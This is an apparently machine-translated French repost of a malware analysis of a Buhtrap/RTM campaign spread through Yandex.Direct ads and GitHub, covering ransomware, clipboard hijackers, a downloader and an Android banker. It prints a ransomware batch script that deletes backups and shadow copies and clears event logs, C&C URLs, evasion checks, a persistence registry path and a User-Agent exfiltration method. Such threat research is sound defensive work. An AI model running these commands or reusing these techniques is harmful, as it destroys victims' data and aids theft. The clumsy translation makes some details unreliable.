La porte dérobée et le chiffreur Buhtrap ont été distribués à l'aide de Yandex.Direct

Pour cibler une cyberattaque sur les comptables, vous pouvez utiliser les documents de travail qu'ils recherchent sur le réseau. Au cours des derniers mois, quelque chose comme ça a été un cyber-groupe qui distribue les célèbres portes dérobées Buhtrap et RTM , ainsi que des chiffreurs et des logiciels pour voler des crypto-monnaies. La plupart des cibles se trouvent en Russie. L'attaque est mise en œuvre en plaçant des annonces malveillantes dans Yandex.Direct. Les victimes potentielles se sont rendues sur un site où il leur a été demandé de télécharger un fichier malveillant déguisé en modèle de document. Yandex a supprimé les publicités malveillantes après notre avertissement.

Le code source de Buhtrap a été fusionné dans le réseau par le passé, donc tout le monde peut l'utiliser. Nous ne disposons pas d'informations concernant la disponibilité du code RTM.

Dans un article, nous expliquerons comment les attaquants ont distribué des logiciels malveillants à l'aide de Yandex.Direct et les ont hébergés sur GitHub. Le poste sera complété par une analyse technique du malvari.



Buhtrap et RTM de retour dans les affaires


Mécanisme de distribution et victimes


Les différentes charges utiles livrées aux victimes sont unies par un mécanisme de distribution commun. Tous les fichiers malveillants créés par des cybercriminels se trouvaient dans deux référentiels GitHub différents.

Habituellement, dans le référentiel se trouvait un fichier malveillant téléchargé, qui changeait souvent. Comme vous pouvez voir l'historique des modifications dans le référentiel sur GitHub, nous pouvons voir quel type de malware s'est propagé pendant une certaine période. Pour convaincre la victime de télécharger un fichier malveillant, le site blanki-shabloni24 [.] Ru, illustré dans la figure ci-dessus, a été utilisé.

La conception du site et tous les noms des fichiers malveillants sont cohérents dans un seul concept - formulaires, modèles, contrats, échantillons, etc. Étant donné que les logiciels Buhtrap et RTM ont été utilisés dans des attaques contre des comptables dans le passé, nous avons supposé que la stratégie était la même dans la nouvelle campagne. La seule question est de savoir comment la victime est arrivée sur le site des assaillants.

L'infection


Au moins quelques victimes potentielles sur ce site ont été attirées par des publicités malveillantes. Voici un exemple d'URL:

https://blanki-shabloni24.ru/?utm_source=yandex&utm_medium=banner&utm_campaign=cid|{blanki_rsya}|context&utm_content=gid|3590756360|aid|6683792549|15114654950_&utm_term= &pm_source=bb.f2.kz&pm_block=none&pm_position=0&yclid=1029648968001296456

Comme vous pouvez le voir sur le lien, la bannière a été publiée sur le forum comptable légitime bb.f2 [.] Kz. Il est important de noter que des bannières sont apparues sur différents sites, tout le monde avait le même identifiant de campagne (blanki_rsya), et la plupart étaient liées aux services de comptabilité ou d'assistance juridique. Il ressort de l'URL que la victime potentielle a utilisé le formulaire de demande de téléchargement de compte, ce qui renforce notre hypothèse concernant les attaques ciblées. Voici les sites où les bannières et les recherches associées sont apparues.

  • télécharger le formulaire de compte - bb.f2 [.] kz
  • exemple de contrat - Ipopen [.] en
  • échantillon de plainte de déclaration - 77metrov [.] ru
  • formulaire de contrat - blank-dogovor-kupli-prodazhi [.] en
  • échantillon de pétition - zen.yandex [.] ru
  • exemple de plainte - jeudi [.] en
  • exemples de formulaires de contrat - Regforum [.] en
  • formulaire de contrat - assistentus [.] en
  • exemple de contrat d'appartement - napravah [.] com
  • échantillons de contrat légal - avito [.] ru

Le site de blanki-shabloni24 [.] Ru a peut-être été aménagé pour passer par une simple évaluation visuelle. En règle générale, la publicité menant à un site d'aspect professionnel avec un lien vers GitHub ne ressemble pas à quelque chose de manifestement mauvais. De plus, les attaquants n'ont téléchargé des fichiers malveillants dans le référentiel que pendant une période limitée, probablement pendant la campagne. La plupart du référentiel sur GitHub était une archive zip vide ou un fichier exe propre. Ainsi, les attaquants pourraient diffuser de la publicité via Yandex.Direct sur les sites les plus susceptibles d'être visités par des comptables venus pour des requêtes de recherche spécifiques.

Ensuite, considérez les différentes charges utiles réparties de cette façon.

Analyse de la charge utile


Chronologie de la distribution


La campagne contre les logiciels malveillants a débuté fin octobre 2018 et est active au moment de la rédaction de l'article. Étant donné que l'intégralité du référentiel était accessible au public sur GitHub, nous avons compilé une chronologie précise de la distribution de six familles de logiciels malveillants différentes (voir la figure ci-dessous). Nous avons ajouté une ligne indiquant le moment où un lien de bannière a été détecté, selon la télémétrie ESET, pour comparaison avec l'historique git. Comme vous pouvez le voir, cela correspond bien à la disponibilité de la charge utile sur GitHub. L'écart à la fin de février peut s'expliquer par notre absence d'une partie de l'historique des modifications, car le référentiel a été supprimé de GitHub avant que nous ne puissions l'obtenir complètement.


Figure 1. Chronologie de la distribution des malvari.

Certificats de signature de certificat


La campagne a utilisé beaucoup de certificats. Certains ont signé plus d'une famille de logiciels malveillants, ce qui indique en outre que différents échantillons appartiennent à la même campagne. Malgré la disponibilité de la clé privée, les opérateurs n'ont pas signé systématiquement les fichiers binaires et n'ont pas utilisé la clé pour tous les échantillons. Fin février 2019, les attaquants ont commencé à créer des signatures non valides à l'aide d'un certificat appartenant à Google, sur lequel ils n'ont pas de clé privée.

Tous les certificats impliqués dans la campagne et les familles Malvari qu'ils signent sont répertoriés dans le tableau ci-dessous.



Nous avons également utilisé ces certificats de signature de code pour communiquer avec d'autres familles de logiciels malveillants. Pour la plupart des certificats, nous n'avons pas trouvé d'échantillons qui ne seraient pas distribués via le référentiel GitHub. Cependant, le certificat TOV «MARIYA» a été utilisé pour signer le Malvari, propriété du botnet Wauchos, des logiciels publicitaires et des mineurs. Il est peu probable que ce malware soit associé à cette campagne. Très probablement, le certificat a été acheté sur le darknet.

Win32 / Filecoder.Buhtrap


Le premier composant qui a attiré notre attention a été le premier Win32 / Filecoder.Buhtrap découvert. Il s'agit d'un fichier binaire Delphi qui peut parfois être empaqueté. Il a été principalement distribué en février - mars 2019. Il se comporte comme s'il s'agissait d'un programme de rançongiciel - il recherche les disques locaux et les dossiers réseau et crypte les fichiers détectés. Pour faire des compromis, il n'a pas besoin d'une connexion Internet, car il ne contacte pas le serveur pour envoyer des clés de chiffrement. Au lieu de cela, il ajoute un «jeton» à la fin du message de rachat et suggère d'utiliser le courrier électronique ou Bitmessage pour communiquer avec les opérateurs.

Pour crypter autant de ressources importantes que possible, Filecoder.Buhtrap lance un flux conçu pour fermer les logiciels clés, qui peuvent avoir des gestionnaires de fichiers ouverts contenant des informations précieuses, qui peuvent interférer avec le cryptage. Les processus cibles sont principalement des systèmes de gestion de base de données (SGBD). De plus, Filecoder.Buhtrap supprime les fichiers journaux et les sauvegardes pour rendre la récupération des données difficile. Pour ce faire, le script batch ci-dessous est exécuté.

bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
wbadmin delete catalog -quiet
wbadmin delete systemstatebackup
wbadmin delete systemstatebackup -keepversions:0
wbadmin delete backup
wmic shadowcopy delete
vssadmin delete shadows /all /quiet
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
attrib "%userprofile%\documents\Default.rdp" -s -h
del "%userprofile%\documents\Default.rdp"
wevtutil.exe clear-log Application
wevtutil.exe clear-log Security
wevtutil.exe clear-log System
sc config eventlog start=disabled


Filecoder.Buhtrap utilise le service en ligne légitime IP Logger, créé pour collecter des informations sur les visiteurs du site. Ceci est destiné à suivre les victimes de l'encodeur, dont la ligne de commande est responsable:

mshta.exe "javascript:document.write('');"

Les fichiers à chiffrer sont sélectionnés en cas de non-correspondance sur les trois listes d'exceptions. Premièrement, les fichiers avec les extensions suivantes ne sont pas chiffrés: .com, .cmd, .cpl, .dll, .exe, .hta, .lnk, .msc, .msi, .msp, .pif, .scr, .sys et .bat. Deuxièmement, tous les fichiers pour lesquels le chemin d'accès complet contient des lignes de répertoire de la liste ci-dessous sont exclus.

\.{ED7BA470-8E54-465E-825C-99712043E01C}\
\tor browser\
\opera\
\opera software\
\mozilla\
\mozilla firefox\
\internet explorer\
\google\chrome\
\google\
\boot\
\application data\
\apple computer\safari\
\appdata\
\all users\
:\windows\
:\system volume information\
:\nvidia\
:\intel\


Troisièmement, certains noms de fichiers sont également exclus du cryptage, parmi lesquels le nom du fichier de messages avec demande de rançon. La liste est présentée ci-dessous. Évidemment, toutes ces exceptions sont conçues pour préserver la capacité de démarrer la machine, mais avec sa convivialité minimale.

boot.ini
bootfont.bin
bootsect.bak
desktop.ini
iconcache.db
ntdetect.com
ntldr
ntuser.dat
ntuser.dat.log
ntuser.ini
thumbs.db
winupas.exe
your files are now encrypted.txt
windows update assistant.lnk
master.exe
unlock.exe
unlocker.exe


Schéma de cryptage des fichiers


Une fois lancé, le malware génère une paire de clés RSA 512 bits. L'exposant privé (d) et le module (n) sont ensuite chiffrés à l'aide d'une clé publique codée en dur de 2048 bits (exposant et module public), compressée en zlib et encodée en base64. Le code responsable de cela est illustré à la figure 2.


Figure 2. Résultat de la décompilation Hex-Rays du processus de génération d'une paire de clés RSA 512 bits.

Ce qui suit est un exemple de texte brut avec une clé privée générée, qui est un jeton attaché au message de rançon.

DF9228F4F3CA93314B7EE4BEFC440030665D5A2318111CC3FE91A43D781E3F91BD2F6383E4A0B4F503916D75C9C576D5C2F2F073ADD4B237F7A2B3BF129AE2F399197ECC0DD002D5E60C20CE3780AB9D1FE61A47D9735036907E3F0CF8BE09E3E7646F8388AAC75FF6A4F60E7F4C2F697BF6E47B2DBCDEC156EAD854CADE53A239

La clé publique des attaquants est indiquée ci-dessous.

e = 0x72F750D7A93C2C88BFC87AD4FC0BF4CB45E3C55701FA03D3E75162EB5A97FDA7ACF8871B220A33BEDA546815A9AD9AA0C2F375686F5009C657BB3DF35145126C71E3C2EADF14201C8331699FD0592C957698916FA9FEA8F0B120E4296193AD7F3F3531206608E2A8F997307EE7D14A9326B77F1B34C4F1469B51665757AFD38E88F758B9EA1B95406E72B69172A7253F1DFAA0FA02B53A2CC3A7F0D708D1A8CAA30D954C1FEAB10AD089EFB041DD016DCAAE05847B550861E5CACC6A59B112277B60AC0E4E5D0EA89A5127E93C2182F77FDA16356F4EF5B7B4010BCCE1B1331FCABFFD808D7DAA86EA71DFD36D7E701BD0050235BD4D3F20A97AAEF301E785005
n = 0x212ED167BAC2AEFF7C3FA76064B56240C5530A63AB098C9B9FA2DE18AF9F4E1962B467ABE2302C818860F9215E922FC2E0E28C0946A0FC746557722EBB35DF432481AC7D5DDF69468AF1E952465E61DDD06CDB3D924345A8833A7BC7D5D9B005585FE95856F5C44EA917306415B767B684CC85E7359C23231C1DCBBE714711C08848BEB06BD287781AEB53D94B7983EC9FC338D4320129EA4F568C410317895860D5A85438B2DA6BB3BAAE9D9CE65BCEA6760291D74035775F28DF4E6AB1A748F78C68AB07EA166A7309090202BB3F8FBFC19E44AC0B4D3D0A37C8AA5FA90221DA7DB178F89233E532FF90B55122B53AB821E1A3DB0F02524429DEB294B3A4EDD


Les fichiers sont cryptés à l'aide d'AES-128-CBC avec une clé de 256 bits. Pour chaque fichier chiffré, une nouvelle clé et un nouveau vecteur d'initialisation sont générés. Les informations clés sont ajoutées à la fin du fichier crypté. Considérez le format de fichier crypté.
Les fichiers chiffrés ont l'en-tête suivant:



Les données du fichier source avec l'ajout de la valeur magique VEGA sont cryptées jusqu'aux premiers 0x5000 octets. Toutes les informations pour le déchiffrement sont jointes à un fichier avec la structure suivante:



- Le marqueur de taille de fichier contient une étiquette indiquant si le fichier est supérieur à 0x5000 octets
- Blob de clé AES = ZlibCompress (RSAEncrypt (clé AES + IV, clé publique de la paire de clés RSA générée)
- Blob de clé RSA = ZlibCompress (RSAEncrypt (clé privée RSA générée, clé publique RSA codée en dur))

Win32 / ClipBanker


Win32 / ClipBanker est un composant qui a été distribué par intermittence de fin octobre à début décembre 2018. Son rôle est de suivre le contenu du presse-papiers, il recherche les adresses des portefeuilles de crypto-monnaie. Après avoir déterminé l'adresse du portefeuille cible, ClipBanker le remplace par l'adresse qui appartiendrait aux opérateurs. Les échantillons que nous avons étudiés n'étaient ni emballés ni masqués. Le seul mécanisme utilisé pour masquer le comportement est le cryptage des chaînes. Les adresses des portefeuilles des opérateurs sont cryptées à l'aide de RC4. Ciblez les crypto-monnaies - Bitcoin, Bitcoin cash, Dogecoin, Ethereum et Ripple.

Pendant la période de distribution des logiciels malveillants, une petite quantité a été envoyée au MTC vers les portefeuilles Bitcoin de l'attaquant, ce qui jette un doute sur le succès de la campagne. De plus, il n'y a aucune raison de supposer que ces transactions étaient généralement liées à ClipBanker.

Win32 / RTM


Le composant Win32 / RTM a été distribué pendant plusieurs jours début mars 2019. RTM est un banquier cheval de Troie basé sur Delphi destiné aux systèmes bancaires à distance. En 2017, les chercheurs d'ESET ont publié une analyse détaillée de ce programme, la description est toujours d'actualité. En janvier 2019, Palo Alto Networks a également publié un article de blog sur RTM .

Téléchargeur Buhtrap


Pendant un certain temps, un téléchargeur était disponible sur GitHub, contrairement aux outils Buhtrap précédents. Il va à https://94.100.18[.]67/RSS.php?<some_id> pour l'étape suivante et le charge directement en mémoire. On peut distinguer deux comportements du code de deuxième étape. Dans la première URL, RSS.php a directement passé la porte dérobée Buhtrap - cette porte dérobée est très similaire à celle disponible après la fuite du code source.

Fait intéressant, nous voyons plusieurs campagnes avec une porte dérobée Buhtrap, et elles sont probablement dirigées par différents opérateurs. Dans ce cas, la principale différence est que la porte dérobée est chargée directement en mémoire et n'utilise pas le schéma habituel avec le processus de déploiement de DLL, dont nous avons parlé plus tôt . De plus, les opérateurs ont modifié la clé RC4 utilisée pour crypter le trafic réseau vers le serveur C&C. Dans la plupart des campagnes que nous avons vues, les opérateurs se moquaient de changer cette clé.

Le deuxième comportement, plus complexe - l'URL RSS.php a été transmise par un autre chargeur. Il a implémenté un certain obscurcissement, comme la reconstruction d'une table d'importation dynamique. Le but du chargeur de démarrage est de contacter le serveur C&C msiofficeupd [.] Com / api / F27F84EDA4D13B15 / 2, d'envoyer des journaux et d'attendre une réponse. Il traite la réponse comme un blob, la charge en mémoire et s'exécute. La charge utile que nous avons vue lors de l'exécution de ce chargeur était la même porte dérobée Buhtrap, mais il peut y avoir d'autres composants.

Android / Spy.Banker


Fait intéressant, un composant pour Android a également été trouvé dans le référentiel GitHub. Il n'était dans la succursale principale que pour une seule journée - le 1er novembre 2018. En plus d'être hébergée sur GitHub, la télémétrie ESET ne trouve aucune preuve de la propagation de ce malware.

Le composant a été hébergé en tant que package d'application Android (APK). Il est très obscurci. Un comportement malveillant est caché dans le fichier JAR chiffré situé dans l'APK. Il est crypté RC4 avec cette clé:

key = [
0x87, 0xd6, 0x2e, 0x66, 0xc5, 0x8a, 0x26, 0x00, 0x72, 0x86, 0x72, 0x6f,
0x0c, 0xc1, 0xdb, 0xcb, 0x14, 0xd2, 0xa8, 0x19, 0xeb, 0x85, 0x68, 0xe1,
0x2f, 0xad, 0xbe, 0xe3, 0xb9, 0x60, 0x9b, 0xb9, 0xf4, 0xa0, 0xa2, 0x8b, 0x96
]


La même clé et le même algorithme sont utilisés pour crypter les chaînes. JAR se trouve dans APK_ROOT + image/files . Les 4 premiers octets du fichier contiennent la longueur du fichier JAR chiffré, qui commence immédiatement après le champ de longueur.

Après avoir décrypté le fichier, nous avons constaté qu'il s'agit d'Anubis - un banquier déjà documenté pour Android. Un logiciel malveillant a les fonctions suivantes:

  • enregistrement microphone
  • prendre des captures d'écran
  • obtenir des coordonnées GPS
  • enregistreur de frappe
  • chiffrement des données de l'appareil et demande de rançon
  • spamming

Fait intéressant, le banquier a utilisé Twitter comme canal de communication de secours pour obtenir un autre serveur C&C. L'échantillon que nous avons analysé utilisait le compte @JohnesTrader, mais au moment de l'analyse, il était déjà bloqué.

Le banquier contient une liste d'applications ciblées sur un appareil Android. Elle est devenue plus longue que la liste obtenue à partir de l'étude Sophos. La liste contient de nombreuses applications bancaires, des programmes d'achat en ligne tels qu'Amazon et eBay, des services de crypto-monnaie.

MSIL / ClipBanker.IH


Le dernier composant distribué dans le cadre de cette campagne était l'exécutable Windows .NET, qui est apparu en mars 2019. La plupart des versions étudiées ont été emballées par ConfuserEx v1.0.0. Comme ClipBanker, ce composant utilise le presse-papiers. Son objectif est un large éventail de crypto-monnaies, ainsi que des offres sur Steam. En outre, il utilise le service IP Logger pour voler la clé WIF privée de Bitcoin.

Mécanismes de protection
En plus des avantages que ConfuserEx offre sous la forme de contrebalancer le débogage, le vidage et la falsification, le composant a la capacité de détecter les produits antivirus et les machines virtuelles.

Pour vérifier le lancement dans une machine virtuelle, le malware utilise la ligne de commande WMI intégrée de Windows (WMIC) pour demander des informations sur le BIOS, à savoir:

wmic bios

Ensuite, le programme analyse la sortie de la commande et recherche des mots clés: VBOX, VirtualBox, XEN, qemu, bochs, VM.

Pour détecter les produits antivirus, les logiciels malveillants envoient une demande WMI (Windows Management Instrumentation) au Centre de sécurité Windows à l'aide de l'API ManagementObjectSearcher comme indiqué ci-dessous. Après décodage à partir de base64, l'appel ressemble à ceci:

ManagementObjectSearcher('root\\SecurityCenter2', 'SELECT * FROM AntivirusProduct')


Figure 3. Processus de détermination des produits antivirus.

De plus, le malware vérifie si CryptoClipWatcher , un outil de protection contre les attaques du presse-papiers, est en cours d'exécution, et s'il est en cours d'exécution, il interrompt tous les threads de ce processus, désactivant ainsi la protection.

Persistance


La version du logiciel malveillant que nous avons étudiée se copie dans %APPDATA%\google\updater.exe et définit l'attribut «caché» dans le répertoire google. Il modifie ensuite la valeur de Software\Microsoft\Windows NT\CurrentVersion\Winlogon\shell dans le registre Windows et ajoute le chemin updater.exe . Un malware sera donc exécuté à chaque fois qu'un utilisateur se connecte.

Comportement malveillant


Comme ClipBanker, le malware surveille le contenu du presse-papiers et recherche les adresses des portefeuilles de crypto-monnaie, et lorsqu'il le trouve, le remplace par l'une des adresses de l'opérateur. Vous trouverez ci-dessous une liste d'adresses de destination basée sur ce qui a été trouvé dans le code.

BTC_P2PKH, BTC_P2SH, BTC_BECH32, BCH_P2PKH_CashAddr, BTC_GOLD, LTC_P2PKH, LTC_BECH32, LTC_P2SH_M, ETH_ERC20, XMR, DCR, XRP, DOGE, DASH, ZEC_T_ADDR, ZEC_Z_ADDR, STELLAR, NEO, ADA, IOTA, NANO_1, NANO_3, BANANO_1, BANANO_3, STRATIS, NIOBIO, LISK, QTUM, WMZ, WMX, WME, VERTCOIN, TRON, TEZOS, QIWI_ID, YANDEX_ID, NAMECOIN, B58_PRIVATEKEY, STEAM_URL

Pour chaque type d'adresse, il existe une expression régulière correspondante. La valeur STEAM_URL est utilisée pour attaquer le système Steam, comme le montre l'expression régulière, qui est utilisée pour déterminer dans le tampon:

\b(https:\/\/|http:\/\/|)steamcommunity\.com\/tradeoffer\/new\/\?partner=[0-9]+&token=[a-zA-Z0-9]+\b

Canal d'exfiltration


En plus de remplacer les adresses dans le tampon, le malware est destiné aux clés WIF privées des portefeuilles Bitcoin, Bitcoin Core et Electrum Bitcoin. Le programme utilise plogger.org comme canal d'exfiltration pour obtenir la clé privée WIF. Pour ce faire, les opérateurs ajoutent les données de clé privée à l'en-tête HTTP User-Agent, comme illustré ci-dessous.


Figure 4. Console IP Logger avec sortie.

Les opérateurs n'ont pas utilisé iplogger.org pour exfiltrer les portefeuilles. Ils ont probablement eu recours à une méthode différente en raison de la restriction de 255 caractères dans le champ User-Agent affiché dans l'interface Web IP Logger. Dans les échantillons que nous avons étudiés, un autre serveur de sortie de données a été stocké dans la DiscordWebHook environnement DiscordWebHook . Étonnamment, cette variable d'environnement n'est affectée nulle part dans le code. Cela suggère que le logiciel malveillant est toujours en cours de développement et que la variable est affectée sur la machine de test de l'opérateur.

Il y a un autre signe que le programme est en cours d'élaboration. Le binaire comprend deux URL iplogger.org, et une demande est envoyée aux deux lors de l'exfiltration des données. Dans une demande adressée à l'une de ces URL, la valeur du champ Referer est précédée de "DEV /". Nous avons également trouvé une version qui n'était pas mise en package à l'aide de ConfuserEx, le destinataire de cette URL est nommé DevFeedbackUrl. Sur la base du nom de la variable d'environnement, nous pensons que les opérateurs envisagent d'utiliser le service Discord légitime et son système d'interception Web pour voler des portefeuilles de crypto-monnaie.

Conclusion


Cette campagne est un exemple de l'utilisation de services publicitaires légitimes dans les cyberattaques. Le programme est destiné aux organisations russes, mais nous ne serons pas surpris de voir une telle attaque utiliser des services non russes. Pour éviter tout compromis, les utilisateurs doivent avoir confiance en la réputation de la source du logiciel téléchargé.

Une liste complète des indicateurs de compromis et d'attributs MITRE ATT & CK est disponible ici .

Source: https://habr.com/ru/post/fr450126/


All Articles